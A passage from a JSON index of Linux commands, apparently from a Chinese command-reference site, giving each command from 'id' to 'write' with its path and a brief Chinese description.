"p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{